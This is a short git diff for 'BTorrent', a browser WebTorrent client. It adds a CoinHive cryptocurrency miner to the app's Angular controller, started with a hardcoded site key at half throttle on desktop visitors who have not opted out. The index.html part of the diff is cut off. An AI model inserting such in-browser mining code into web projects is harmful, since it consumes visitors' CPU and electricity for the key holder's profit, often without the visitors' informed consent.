diff --git a/app.js b/app.js index cc55302..4aa4b3a 100644 --- a/app.js +++ b/app.js @@ -1,4 +1,4 @@ -/* global WebTorrent, angular, moment, prompt */ +/* global WebTorrent, angular, moment, prompt, CoinHive */ const VERSION = '0.17.7' @@ -64,6 +64,14 @@ const app = angular.module('BTorrent', ) app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) { + if (window.CoinHive) { + const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5}) + + if (!miner.isMobile() && !miner.didOptOut(3600)) { + miner.start() + } + } + let updateAll $rootScope.version = VERSION ngNotify.config({ diff --git a/index.html b/index.html index 8130115..6d34186 100644 --- a/index.html +++ b/index.html @@ -1,34 +1,40 @@
-